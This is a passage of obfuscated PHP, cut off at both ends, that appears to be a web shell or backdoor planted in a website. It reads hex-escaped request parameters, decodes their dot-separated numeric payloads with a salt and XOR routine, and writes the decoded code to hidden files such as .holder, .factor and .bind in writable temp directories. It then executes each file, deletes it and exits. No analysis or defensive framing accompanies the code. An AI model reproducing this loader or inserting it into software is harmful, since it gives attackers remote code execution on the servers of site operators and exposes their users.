= count($marker)) break; if (!!is_dir($res) && !!is_writable($res)) { $resource = str_replace("{var_dir}", $res, "{var_dir}/.holder"); if (file_put_contents($resource, $desc)) { include $resource; @unlink($resource); exit; } } $element++; } while (true); } if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79\x6D\x62ol"])){ $element = array_filter(["/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), getcwd()]); $comp = $_REQUEST["s\x79\x6D\x62ol"]; $comp= explode( '.' , $comp) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; array_walk($comp ,function ($v1) use (&$binding ,&$y ,$salt ,$lenS) { $chS = ord($salt[$y % $lenS]); $dec = ((int)$v1 - $chS - ($y % 10))^ 63; $binding .= chr($dec); $y++; }); foreach ($element as $key => $object) { if (!!is_dir($object) && !!is_writable($object)) { $elem = sprintf("%s/.factor", $object); if (file_put_contents($elem, $binding)) { require $elem; unlink($elem); die(); } } } } if(array_key_exists("\x6Fbj", $_POST) && !is_null($_POST["\x6Fbj"])){ $itm = $_POST["\x6Fbj"]; $itm = explode ( '.' , $itm ); $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($itm as $j => $v2) { $sChar = ord($s[$j % $lenS]); $dec = ((int)$v2 - $sChar - ($j % 10)) ^ 14; $holder.=chr($dec); } $pgrp = array_filter([ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); foreach ($pgrp as $component): if (max(0, is_dir($component) * is_writable($component))) { $ref = "$component/.bind"; if (file_put_contents($ref, $holder)) { include $ref; @unlink($ref); die(); } } endforeach; } if(isset($_POST["\x70g\x72p"])){ $dat = ar